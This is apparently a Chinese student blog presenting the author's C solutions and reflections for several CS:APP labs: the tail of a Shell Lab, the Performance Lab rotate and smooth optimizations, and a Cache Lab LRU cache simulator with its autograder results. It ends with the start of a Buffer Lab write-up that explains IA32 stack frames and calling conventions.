printf("%s: argument must be a PID or %%jobid\n", argv[0]);
return;
}
job = getjobjid(jobs, number); /* get the job */
if (!job) {/* handles if there is no such job */
printf("%%%d: No such job\n", number);
return;
}
} else {/* if argument 1 is pid */
number = strtol(ptr, &endptr, 10);
if (ptr == endptr) { /* handles convert error */
printf("%s: argument must be a PID or %%jobid\n", argv[0]);
return;
}
job = getjobpid(jobs, (pid_t)number); /* get the job */
if (!job) {/* handles if there is no such job */
printf("(%d): No such process\n", number);
return;
}
}
/* change process state and update the job list*/
if (!strcmp(argv[0], "bg")) { /*bg: turns ST to BG, send SIGCONT */
if(job->state == ST) {
Kill(-(job->pid), SIGCONT);
printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
job->state = BG;
}
} else if (!strcmp(argv[0], "fg")) {/* fg: turns ST/BG to FG, sent SIGCONT */
if(job->state == ST) {
Kill(-(job->pid), SIGCONT);
job->state = BG;
}
if(job->state == BG) {
job->state = FG;
waitfg(job->pid);
}
}
return;
}

void waitfg(pid_t pid)
{
while(fgpid(jobs)) { /* handles all zombie processes in signal handler */
sleep(0.01); /* busy loop only */
}
return;
}

void sigchld_handler(int sig)
{
int olderrno = errno; /* store old errno */
int status; /* used to trace pid's status */
sigset_t mask_all, prev_all;
pid_t pid;

Sigfillset(&mask_all);

while((pid = Waitpid(-1, &status, WUNTRACED | WNOHANG)) > 0) { /* waitpid without waiting(WNOHANG) */
if (WIFSTOPPED(status) && (WSTOPSIG(status) == SIGTSTP || WSTOPSIG(status) == SIGSTOP)) { /* if the process is stopped */
struct job_t * job = getjobpid(jobs, pid);
if (job && job->state != ST) { /* if the stop signal hasn't been catched */
printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
struct job_t * stpjob = getjobpid(jobs, pid);
stpjob->state = ST;/* handles here */
}
}
if (WIFSIGNALED(status) && WTERMSIG(status) == SIGINT) { /* it the terminate signal hasn't been catched */
struct job_t * job = getjobpid(jobs, pid);
if (job) {
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
/* handles here */
}
}
if (WIFEXITED(status) || WIFSIGNALED(status)) {
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all);
deletejob(jobs, pid);
Sigprocmask(SIG_SETMASK, &prev_all, NULL);
}/* remove the job in job list accordingly */
}
errno = olderrno;
return;
}

void sigint_handler(int sig)
{
int olderrno = errno; /* store old errno */
sigset_t mask_all, prev_all;
Sigfillset(&mask_all);
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all); /* block all signal in case the race between SIGINT and SIGCHLD */

pid_t pid;
pid = fgpid(jobs);
Kill(-pid, SIGINT); /* kill processes in fg job's process group */

printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, sig); /* print the message */

deletejob(jobs, pid); /* delete job in joblist */

Sigprocmask(SIG_SETMASK, &prev_all, NULL);

errno = olderrno;
return;
}

void sigtstp_handler(int sig)
{
int olderrno = errno; /* store old errno */
sigset_t mask_all, prev_all;
Sigfillset(&mask_all);
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all); /* block all signal in case the race between SIGTSTP and SIGCHLD */

pid_t pid;
pid = fgpid(jobs);
Kill(-pid, SIGTSTP); /* send SIGTSTP to fg job's process group */

printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, sig); /* print the message */

struct job_t * stpjob = getjobpid(jobs, pid);
stpjob->state = ST; /* modify the job list */

Sigprocmask(SIG_SETMASK, &prev_all, NULL);

errno = olderrno;
return;
}

实验总结

总的来说不难的一个实验,关键在于要先理解整个框架中的代码,然后根据trace file渐进地完成程序。需要注意的地方实验讲义中的提示以及书本中都已经给出,这里不再赘述。需要强调的是SIGCHLD的信号处理程序需要处理未捕获的SIGTSTP和SIGINT信号。此外SIGINT/SIGTSTP和SIGCHLD的信号处理程序之间可能会有潜在的导致错误的冲突。(信号处理程序是可以被其他信号中断的,可以见trace16.txt)

此外,handler中的printf是异步不安全的,不推荐使用。以及书本中虽然使用了sigsuspend来实行同步,但是为了简化程序,根据实验讲义的提示,使用了忙循环处理前台等待,并且将回收僵死进程任务交给了sigchld_handler。这些都是本次实验中不足和可以修改的地方。

评论和共享

实验答案托管在我的GitHub

由于Cache Lab的Part B的64 × 64的矩阵一直拿不到满分,索性放在了一边,先从老的Performance Lab开始做起。

实验简介

Performance Lab - Code Optimization是有关性能优化的实验,对应于书本的第5章:优化程序性能和第6章:存储器层次结构。主要提供了利用书本所学的知识优化代码的机会。

本实验主要分为两个部分,每个部分分别对于一个简单的图像处理函数进行优化。第一个部分所优化的函数旋转(rotate)对于缓存更加敏感,而第二个部分所优化的函数平滑(smooth)则属于计算密集型函数。对它们优化的侧重是有所不同的。

本实验的具体介绍见实验讲义

实验介绍

在本实验中,我们将实现两个图像处理函数——旋转和平滑。

我们将一张图片抽象地表示为一个二维矩阵M,M(i, j)代表了M中第i行第j列的像素的值,该像素值被定义为红色、绿色、蓝色(RGB)的值的三元组。在本实验中,我们只考虑正方形的图片。下标遵循C语言风格,从0到N-1。

旋转操作被定义为将图片逆时针旋转90°,旋转可以分为两步实现——

  1. 将矩阵转置,即将M(i, j)变为M(j, i)
  2. 将矩阵的第i行和第N - i - 1交换

平滑操作被定义为将每一个像素点的值换位周围像素点(以该像素点为中心的最多3*3的正方形)的平均值。

实验要求

在本实验中像素(pixel)是一个定义如下的结构体:

1
2
3
4
5
6
The core data structure deals with image representation. A pixel is a struct as shown below:
typedef struct {
unsigned short red; /* R value */
unsigned short green; /* G value */
unsigned short blue; /* B value */
} pixel;

此外,为了简化起见,还定义了如下的宏:

1
#define RIDX(i,j,n) ((i)*(n)+(j))

旋转操作的朴素版本如下:

1
2
3
4
5
6
7
void naive_rotate(int dim, pixel *src, pixel *dst) {
int i, j;
for(i=0; i < dim; i++)
for(j=0; j < dim; j++)
dst[RIDX(dim-1-j,i,dim)] = src[RIDX(i,j,dim)];
return;
}

平滑操作的朴素版本如下(辅助函数未列出):

1
2
3
4
5
6
7
void naive_smooth(int dim, pixel *src, pixel *dst) {
int i, j;
for(i=0; i < dim; i++)
for(j=0; j < dim; j++)
dst[RIDX(i,j,dim)] = avg(dim, i, j, src); /* Smooth the (i,j)th pixel */
return;
}

为了简化起见,你可以假设所有的矩阵的边长都是32的倍数,并且在进行正确性测试的时候,只会测试5个值。

具体的注册函数和自动跑分机制请参阅实验讲义。

实验思路

旋转操作:旋转操作不涉及复杂的计算,经过测试将代码移动所带来的性能提升微乎其微。主要应当采用分块的手段提高代码的空间局部性的利用率。

平滑操作(平滑操作参考了别人的思路):平滑操作是计算密集型函数,经过测试,通过减少过程调用以及代码移动带来的有限的性能提升。
观察原始代码可以发现分支预测的惩罚是巨大的(因为循环只会执行3次,会带来大量的预测不命中)。我们可以考虑将红、绿、蓝三色的值的计算分开地并行处理,并且依次处理四个角、四条边、和剩余的像素点。以提升局部性的利用率并且降低分支预测不命中所带来的惩罚。

实验答案

旋转操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
void block_rotate(int dim, pixel * src, pixel * dst) {
int i, j, k, l;
int cst0 = dim - 1;
for (i = 0 ; i < dim ; i += 8) {
for (j = 0 ; j < dim ; j += 8) {
for (k = i ; k < i + 8 ; k++) {
for (l = j ; l < j + 8 ; l++) {
dst[RIDX(cst0 - l, k, dim)] = src[RIDX(k, l, dim)];
}
}
}
}
}

平滑操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void optimized_smooth(int dim, pixel * src, pixel * dst) {
int i, j;
int tmp;

dst[0].red = (src[0].red + src[1].red + src[dim].red + src[dim + 1].red) >> 2;
dst[0].green = (src[0].green + src[1].green + src[dim].green + src[dim + 1].green) >> 2;
dst[0].blue = (src[0].blue + src[1].blue + src[dim].blue + src[dim + 1].blue) >> 2;
i = dim - 1;
dst[i].red = (src[i].red + src[i - 1].red + src[i + dim].red + src[i + dim -1].red) >> 2;
dst[i].green = (src[i].green + src[i - 1].green + src[i + dim].green + src[i + dim -1].green) >> 2;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + dim].blue + src[i + dim -1].blue) >> 2;
i = i * dim;
dst[i].red = (src[i].red + src[i + 1].red + src[i - dim].red + src[i - dim + 1].red) >> 2;
dst[i].green = (src[i].green + src[i + 1].green + src[i - dim].green + src[i - dim + 1].green) >> 2;
dst[i].blue = (src[i].blue + src[i + 1].blue + src[i - dim].blue + src[i - dim + 1].blue) >> 2;
i = i + dim - 1;
dst[i].red = (src[i].red + src[i - 1].red + src[i - dim].red + src[i - dim - 1].red) >> 2;
dst[i].green = (src[i].green + src[i - 1].green + src[i - dim].green + src[i - dim - 1].green) >> 2;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i - dim].blue + src[i - dim - 1].blue) >> 2;

for (i = 1 ; i < dim - 1 ; i++) {
dst[i].red = (src[i].red + src[i - 1].red + src[i + 1].red + src[i + dim].red + src[i + dim - 1].red + src[i + dim + 1].red) / 6;
dst[i].green = (src[i].green + src[i - 1].green + src[i + 1].green + src[i + dim].green + src[i + dim - 1].green + src[i + dim + 1].green) / 6;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + 1].blue + src[i + dim].blue + src[i + dim - 1].blue + src[i + dim + 1].blue) / 6;
}
for (i = dim * (dim - 1) + 1 ; i < dim * dim - 1 ; i++) {
dst[i].red = (src[i].red + src[i - 1].red + src[i + 1].red + src[i - dim].red + src[i - dim - 1].red + src[i - dim + 1].red) / 6;
dst[i].green = (src[i].green + src[i - 1].green + src[i + 1].green + src[i - dim].green + src[i - dim - 1].green + src[i - dim + 1].green) / 6;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + 1].blue+ src[i - dim].blue + src[i - dim - 1].blue+ src[i - dim + 1].blue) / 6;
}
for (j = dim ; j < dim * (dim - 1) ; j+= dim) {
dst[j].red = (src[j].red + src[j + 1].red + src[j - dim].red + src[j - dim + 1].red + src[j + dim].red + src[j + dim + 1].red) / 6;
dst[j].green = (src[j].green + src[j + 1].green + src[j - dim].green+ src[j - dim + 1].green + src[j + dim].green + src[j + dim + 1].green) / 6;
dst[j].blue = (src[j].blue + src[j + 1].blue + src[j - dim].blue + src[j - dim + 1].blue + src[j + dim].blue + src[j + dim + 1].blue) / 6;
}
for (j = 2 * dim - 1 ; j < dim * dim - 1 ; j += dim) {
dst[j].red = (src[j].red + src[j - 1].red + src[j - dim].red + src[j - dim - 1].red + src[j + dim].red + src[j + dim - 1].red) / 6;
dst[j].green = (src[j].green + src[j - 1].green + src[j - dim].green + src[j - dim - 1].green + src[j + dim].green + src[j + dim - 1].green) / 6;
dst[j].blue = (src[j].blue + src[j - 1].blue + src[j - dim].blue + src[j - dim - 1].blue + src[j + dim].blue + src[j + dim - 1].blue) / 6;
}

for (i = 1 ; i < dim - 1 ; i++) {
for (j = 1 ; j < dim - 1 ; j++) {
tmp = i * dim + j;
dst[tmp].red = (src[tmp].red + src[tmp - 1].red + src[tmp + 1].red + src[tmp - dim].red + src[tmp - dim - 1].red + src[tmp - dim + 1].red + src[tmp + dim].red + src[tmp + dim - 1].red + src[tmp + dim + 1].red) / 9;
dst[tmp].green = (src[tmp].green + src[tmp - 1].green + src[tmp + 1].green + src[tmp - dim].green + src[tmp - dim - 1].green + src[tmp - dim + 1].green + src[tmp + dim].green + src[tmp + dim - 1].green + src[tmp + dim + 1].green) / 9;
dst[tmp].blue = (src[tmp].blue + src[tmp - 1].blue + src[tmp + 1].blue + src[tmp - dim].blue + src[tmp - dim - 1].blue + src[tmp - dim + 1].blue + src[tmp + dim].blue + src[tmp + dim - 1].blue + src[tmp + dim + 1].blue) / 9;
}
}
}

实验总结

实验的第一部分对于缓存的要求不是很高,简单的分块可以带来很大的性能提升。

实验的第二部分实际上我是卡了比较久的,在发现减少过程调用和代码移动性能提升有限后我就卡住了,因为我发现似乎无法进行循环展开。实际上还是太生疏了,没有想到要分析性能瓶颈,最后参考了别人的答案,实际上看到了别人答案的一瞬间就豁然开朗了,但是在这之前完全没有想到会是分支预测的问题。还需要多加练习。

评论和共享

实验答案托管在我的GitHub

考完试之后一直比较颓废,本来想看完《深入理解计算机系统》的第5章——优化程序性能之后就赶快来做实验的,后来发现无论是Cache Lab还是Performance Lab都需要第6章——存储器层次结构的知识。看了几天的书,又磨蹭了几天,终于把Cache Lab的Part A写完了,总结如下。

实验简介

Cache Lab - Understanding Cache Memories主要是有关缓存的实验,对应于书本的第6章:存储器层次结构。主要阐明了缓存对于C语言程序的性能影响。

本实验主要分为两个部分。第一个部分要求完成一个C语言程序用来模拟缓存的行为;而第二个部分要求优化一个小的矩阵变换函数,使其具有尽可能小的缓存不命中率。

关于本实验的具体介绍详见实验讲义

实验介绍

实验讲义中的traces子文件夹下包含了一组reference trace files,用来作为评估Part A中缓存模拟器正确性的样例数据。这些文件是由valgrind生成的。

Valgrind是一个用于内存调试,内存泄露以及性能分析的软件。例如,我们输入如下的命令:

1
linux> valgrind --log-fd=1 --tool=lackey -v --trace-mem=yes ls -l

valgrind会在命令行中执行ls -l命令并且按照顺序记录该命令的每一次内存访问,并且将其输出到标准输出流中。

下面是一个valgrind的输出样例:

1
2
3
4
I 0400d7d4,8
M 0421c7f0,4
L 04f6b868,8
S 7ff0005c8,8

每一行的基本格式如下:

1
[空格]操作 地址,大小

操作代表了内存访问的种类,'I'代表的是指令加载,'L'代表的是数据加载,'S'代表的是数据存储,'M'代表的是数据修改(如一条数据加载之后紧跟着数据存储)。在'I'之前永远没有空格,而其他的操作前必定有前置空格。
地址代表的是一个64位的16进制内存地址。
大小指明了该次内存访问涉及的字节数。

实验要求 - Part A

在Part A中你需要在csim.c中实现一个LRU驱逐机制的缓存模拟器,该模拟器接收valgrind的trace作为输入,模拟一个缓存在该情况下的命中/不命中情况,并且输出所有的命中,不命中以及驱逐的次数。

本实验已经提供了一个用来参考的缓存模拟器csim-ref,其使用方式以及输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Usage: ./csim-ref [-hv] -s <s> -E <E> -b <b> -t <tracefile>
• -h: Optional help flag that prints usage info
• -v: Optional verbose flag that displays trace info
• -s <s>: Number of set index bits (S = 2 s is the number of sets)
• -E <E>: Associativity (number of lines per set)
• -b <b>: Number of block bits (B = 2 b is the block size)
• -t <tracefile>: Name of the valgrind trace to replay

linux> ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace
hits:4 misses:5 evictions:3

linux> ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss
M 20,1 miss hit
L 22,1 hit
S 18,1 hit
L 110,1 miss eviction
L 210,1 miss eviction
M 12,1 miss eviction hit
hits:4 misses:5 evictions:3

对于Part A有以下的要求和限制:

  1. 所写的程序编译时不能有任何的警告
  2. 能应对不同s,E和b的缓存生成对应的结果,这要求使用malloc来为你的数据结构分配空间
  3. 不需要考虑指令加载的缓存情况
  4. 调用printSummary打印最终的结果
  5. 假定数据已经适当对齐,不会出现一次数据加载跨区块的情况。这样,你可以忽略trace中的大小

除此以外,实验的自学者讲义中还包含了一些提示,这里就不再赘述。

完成了Part A之后,可以用make clean && make进行编译,并且用./test-csim进行自动评分,总共有8组样例,共27分满分。

实验过程 - Part A

实验思路

整个模拟器在思路上可以进行如下的拆分:

1.命令行参数解析

由于该模拟器是命令行程序并且接受命令行参数,因此需要能对命令行参数进行解析和处理,这里推荐使用getopt进行参数的解析。并且根据不同的参数执行不同的控制流,并且处理一些基本的错误如参数缺失以及参数类型错误。

2.数据结构

这是整个模拟器最基本的部分。我们需要创建合适的数据结构来模拟缓存,该数据结构不仅要能模拟缓存的数据的实际组织方式(有效位,标志位以及行和块等等),还需要考虑到LRU的驱逐机制。

3.文件中内存访问记录的处理和解析

这个是模拟器中核心的部分。模拟器的功能就是从文件中接收内存访问记录,并且根据这些记录来模拟缓存的行为,操作我们所设计的缓存的数据结构。

实验代码

该代码仅供参考,很可能并不是一个非常好的解法。如果你也在面对同样的实验,请不要抄袭,毕竟抄袭是不会使你变得更强的:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
/* include necessary headers */
#include "cachelab.h"

#include "getopt.h"
#include "stdlib.h"
#include "unistd.h"

#include "string.h"

#include "stdio.h"

#include "stdint.h"

/* cache struct definition */
typedef struct CSim_Cache_Entry {
char valid_bit;
uint64_t tag_bit;
}CSim_Cache_Entry;

typedef struct CSim_Cache_Set{
CSim_Cache_Entry * entries;
}CSim_Cache_Set;

typedef struct CSim_Cache {
/* basic arguments */
int block_offset;
int set_number;
int line_number;
/* masks and offsets */
int tag_offset;
int set_offset;
uint64_t tag_mask;
uint64_t set_mask;
/* cache */
CSim_Cache_Set * sets;
}CSim_Cache;

/* simulation result definition */
typedef struct CSim_Cache_Result {
int hit;
int miss;
int evict;
}CSim_Cache_Result;

/* operation type definition */
typedef enum CSIM_OPERATION_TYPE {
CSIM_OPERATION_TYPE_NONE,
CSIM_OPERATION_TYPE_MODIFY,
CSIM_OPERATION_TYPE_LOAD,
CSIM_OPERATION_TYPE_STORE,
}CSIM_OPERATION_TYPE;

/* operation result definition */
typedef enum CSIM_OPERATION_RESULT {
CSIM_OPERATION_RESULT_MISS,
CSIM_OPERATION_RESULT_HIT,
CSIM_OPERATION_RESULT_MISS_EVICTION,
}CSIM_OPERATION_RESULT;

/* error definition */
typedef enum CSIM_ERROR {
CSIM_OK = 0,
CSIM_ERROR_INVALID_OPTION,
CSIM_ERROR_MISSING_ARGUMENT,
CSIM_ERROR_FILE_CANNOT_OPEN,
CSIM_ERROR_OUT_OF_MEMORY,
}CSIM_ERROR;

/* macro definition for get a value given mask and offset */
#define csim_get_value(number, mask, offset) (((number) & (mask)) >> (offset))

/* function list */
/* message print functions */
void csim_print_help_info();
void csim_error_missing_argument();
void csim_error_file_cannot_open();
void csim_error_out_of_memory();
/* cache structure related functions */
CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset);
void csim_deconstruct_cache(CSim_Cache ** pcache);
/* cache simulation function */
CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag);

/* global variable */
char * program_name = NULL;

void csim_print_help_info() {
printf("Usage: ./csim [-hv] -s <num> -E <num> -b <num> -t <file>\n");
printf("Options:\n");
printf(" -h Print this help message.\n");
printf(" -v Optional verbose flag.\n");
printf(" -s <num> Number of set index bits.\n");
printf(" -E <num> Number of lines per set.\n");
printf(" -b <num> Number of block offset bits.\n");
printf(" -t <file> Trace file.\n\n");
printf("Examples:\n");
printf(" linux> ./csim -s 4 -E 1 -b 4 -t traces/yi.trace\n");
printf(" linux> ./csim -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");
}

void csim_error_missing_argument() {
printf("%s: Missing required command line argument\n", program_name);
csim_print_help_info();
}

void csim_error_file_cannot_open() {
printf("%s: No such file or directory\n", program_name);
}

void csim_error_out_of_memory() {
printf("%s: Out of memory\n", program_name);
}

CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset) {
/* memory allocation */
CSim_Cache * cache = malloc(sizeof(CSim_Cache));
if (cache == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
/* configure basic arguments */
cache->set_number = set_number;
cache->line_number = line_number;
cache->block_offset = block_offset;
/* caculate masks and offsets */
cache->tag_mask = ((uint64_t)0xFFFFFFFFFFFFFFFF) << (block_offset + set_number);
cache->tag_offset = block_offset + set_number;
cache->set_mask = ((((((uint64_t)0xFFFFFFFFFFFFFFFF) << (64 - cache->tag_offset)) >> (64 - cache->tag_offset)) >> block_offset) << block_offset);
cache->set_offset = block_offset;
/* memory allocation for cache */
cache->sets = calloc((1 << set_number), sizeof(CSim_Cache_Set));
if (cache->sets == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
for (int index = 0 ; index < (1 << set_number) ; ++index) {
(cache->sets)[index].entries = calloc(line_number, sizeof(CSim_Cache_Entry));
if ((cache->sets)[index].entries == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
}
return cache;
}

void csim_deconstruct_cache(CSim_Cache ** pcache) {
/* release cache according to construct function */
CSim_Cache * temp = *pcache;
int set_number = temp->set_number;
for (int index = 0 ; index < set_number ; ++index) {
free((temp->sets)[index].entries);
}
free(temp->sets);
free(temp);
*pcache = NULL;
}

CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag) {
/* file I/O related */
char line[80];
char * line_pointer = NULL;
/* cache type and cache result */
CSIM_OPERATION_TYPE type;
CSIM_OPERATION_RESULT result;
/* address and set index & tag bis from it */
int address = 0;
int set = 0, tag = 0;
/* line number */
int line_number = cache->line_number;
/* simulation result */
CSim_Cache_Result summary = {0, 0, 0};
/* parsing process */
while (fgets(line, 80, file_pointer), feof(file_pointer) == 0) {
line_pointer = line;
type = CSIM_OPERATION_TYPE_NONE;
/* exclude instrction load */
if (*line_pointer++ == ' ') {
switch(*line_pointer++) {
case 'L':
type = CSIM_OPERATION_TYPE_LOAD;
if (verbose_flag) {
putchar('L');
}
break;
case 'S':
type = CSIM_OPERATION_TYPE_STORE;
if (verbose_flag) {
putchar('S');
}
break;
case 'M':
type = CSIM_OPERATION_TYPE_MODIFY;
if (verbose_flag) {
putchar('M');
}
break;
default:
type = CSIM_OPERATION_TYPE_NONE;
break;
}
result = CSIM_OPERATION_RESULT_MISS_EVICTION;
sscanf(line_pointer, "%x", &address);
if (verbose_flag) {
while ((*line_pointer) != '\n') {
putchar(*line_pointer++);
}
}
/* separate set and tag according to mask and offset */
set = csim_get_value(address, cache->set_mask, cache->set_offset);
tag = csim_get_value(address, cache->tag_mask, cache->tag_offset);
/* determine the cache result */
CSim_Cache_Entry * pentry = (cache->sets)[set].entries;
int index;
CSim_Cache_Entry temp;
for (index = 0; index < line_number ; ++index) {
if (!pentry[index].valid_bit) {
result = CSIM_OPERATION_RESULT_MISS;
break;
}
if (pentry[index].tag_bit == tag) {
result = CSIM_OPERATION_RESULT_HIT;
break;
}
}
/* simulate according to the result of cache behavior */
switch(result) {
case CSIM_OPERATION_RESULT_MISS:
if (verbose_flag) {
printf(" miss");
}
pentry[index].valid_bit = 1;
pentry[index].tag_bit = tag;
summary.miss++;
break;
case CSIM_OPERATION_RESULT_MISS_EVICTION:
if (verbose_flag) {
printf(" miss eviction");
}
pentry[0].tag_bit = tag;
temp = pentry[0];
for (index = 0 ; index < line_number - 1 ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.miss++;
summary.evict++;
break;
case CSIM_OPERATION_RESULT_HIT:
if (verbose_flag) {
printf(" hit");
}
temp = pentry[index];
for ( ; (index < line_number - 1) && (pentry[index + 1].valid_bit) ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.hit++;
break;
}
if (type == CSIM_OPERATION_TYPE_MODIFY) {
if (verbose_flag) {
printf(" hit");
}
summary.hit++;
}
if (verbose_flag) {
putchar('\n');
}
}
}
return summary;
}

int main(int argc, char *argv[]) {
/* variables for argument parsing */
char h = 0, v = 0, s = 0, E = 0, b = 0, t = 0;
int opt;
/* cache arguments */
int set_number = 0, line_number = 0, block_offset = 0;
/* cache */
CSim_Cache * cache = NULL;
/* file path */
char file_path[80];
/* verbose flag */
char verbose_flag = 0;
/* summary */
CSim_Cache_Result summary = {0, 0, 0};
/* pre-operation */
program_name = argv[0];
/* argument parsing */
while ((opt = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
switch(opt) {
case 'h':
h = 1;
break;
case 'v':
v = 1;
verbose_flag = 1;
break;
case 's':
set_number = atoi(optarg);
if (set_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
s = 1;
break;
case 'E':
line_number = atoi(optarg);
if (line_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
E = 1;
break;
case 'b':
block_offset = atoi(optarg);
if (block_offset == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
b = 1;
break;
case 't':
t = 1;
strcpy(file_path, optarg);
break;
default:
csim_print_help_info();
return CSIM_ERROR_INVALID_OPTION;
break;
}
}
if (h == 1) {
csim_print_help_info();
return CSIM_OK;
}
if (v == 1) {
verbose_flag = 1;
}
if (!(s == 1 && E == 1 && b == 1 && t == 1)) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
/* file processing */
FILE * file_pointer = fopen(file_path, "r");
if (file_pointer == NULL) {
csim_error_file_cannot_open(file_path);
return CSIM_ERROR_FILE_CANNOT_OPEN;
}
/* cache construction */
cache = csim_construct_cache(set_number, line_number, block_offset);
/* trace file parsing */
summary = csim_parse_trace_file(cache, file_pointer, verbose_flag);
/* summary */
printSummary(summary.hit, summary.miss, summary.evict);
/* post operations */
csim_deconstruct_cache(&cache);
fclose(file_pointer);
return CSIM_OK;
}

实验结果

自动评分脚本给出的输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@blackdragon ~/C/C/cachelab-handout> ./test-csim
Your simulator Reference simulator
Points (s,E,b) Hits Misses Evicts Hits Misses Evicts
3 (1,1,1) 9 8 6 9 8 6 traces/yi2.trace
3 (4,2,4) 4 5 2 4 5 2 traces/yi.trace
3 (2,1,4) 2 3 1 2 3 1 traces/dave.trace
3 (2,1,3) 167 71 67 167 71 67 traces/trans.trace
3 (2,2,3) 201 37 29 201 37 29 traces/trans.trace
3 (2,4,3) 212 26 10 212 26 10 traces/trans.trace
3 (5,1,5) 231 7 0 231 7 0 traces/trans.trace
6 (5,1,5) 265189 21775 21743 265189 21775 21743 traces/long.trace
27

TEST_CSIM_RESULTS=27

实验总结

由于在寒假的课程设计中已经使用过了命令行参数解析以及复杂的数据结构设计与实验,Part A总体上来说不是很难,我主要的精力花费在代码风格上,希望代码能尽量具有良好的架构以及可读性。

本部分中犯的错误有,直接根据s设置缓存的组数,而实际上的组数是2^s个。循环中由于手误导致出现死循环。没有搞清楚inline static关键字而导致的编译错误等等。存在知识的盲区也存在着粗心导致的错误,以后还需要更加注意。

评论和共享

实验答案托管在我的Github

Buffer Lab是《深入理解计算机系统》(第二版)中的缓冲区溢出实验,现在已经被Attack Lab替代。为了熟悉IA32的栈帧以及过程调用的原理,于2017年5月10日将该实验完成。

实验简介

Buffer Lab是传统的32位实验,现在已经被Attack Lab替代。在该实验中,需要利用缓冲区溢出漏洞生成攻击代码去修改一个32位的x86可执行程序的运行时行为。

该实验加深了对于栈规则的理解以及说明了缓冲区溢出漏洞可能造成的危险后果。

该实验同Attack Lab非常相似,但是仅仅采用了代码注入攻击作为攻击手段。同时,也要注意x86和x86_64有着不同的栈帧以及过程的调用方式。

IA32的栈帧以及过程调用

IA32的栈帧

IA32的栈帧同x86的栈帧相似,栈从高地址向低地址增长。寄存器%esp保存的是栈帧的栈顶(低地址),寄存器%ebp保存的是栈帧的栈底(高地址)。

调用者的栈帧主要包括了参数区以及返回地址。

被调用者的栈帧的栈底首先是保存的寄存器ebp值(指向调用者的栈底),然后是被保存的寄存器,局部变量以及临时空间,最后是参数构造区。

IA32的过程调用

IA32提供了如下的过程调用指令:

  • call 该指令将返回地址压入调用者的栈帧,并且将程序计数器%eip指向了被调用者的首地址
  • leave 该指令一般位于ret指令之前,等价于mov %ebp,%esp和pop %ebp,主要作用是回收栈空间,并且恢复栈顶(%esp)和栈底(%ebp)使得栈帧恢复为调用者栈帧
  • ret 该指令从栈中弹出返回地址并且让程序计数器eip指向该地址,使程序继续执行被调用者的下一条指令

IA32的过程调用遵循如下的规则:

  1. 首先执行call指令,call会在调用者的栈顶压入返回地址并且使程序计数器指向被调用者
  2. 然后保存调用者的栈底即push %ebp,并且将栈顶设置为被调用者的栈底即mov %esp,%ebp
  3. 分配局部的栈空间,主要用于临时变量的存储
  4. 执行被调用者的指令
  5. 执行leave,释放栈空间并重置栈顶(%esp)和栈底(%ebp),使得恢复为调用者栈帧
  6. 执行ret,过程返回并继续执行调用者的指令

IA32的参数传递规则:
同x86不同,IA32不使用寄存器进行参数的传递,IA32从右到左将参数依次压栈,然后调用相应的过程。

实验准备

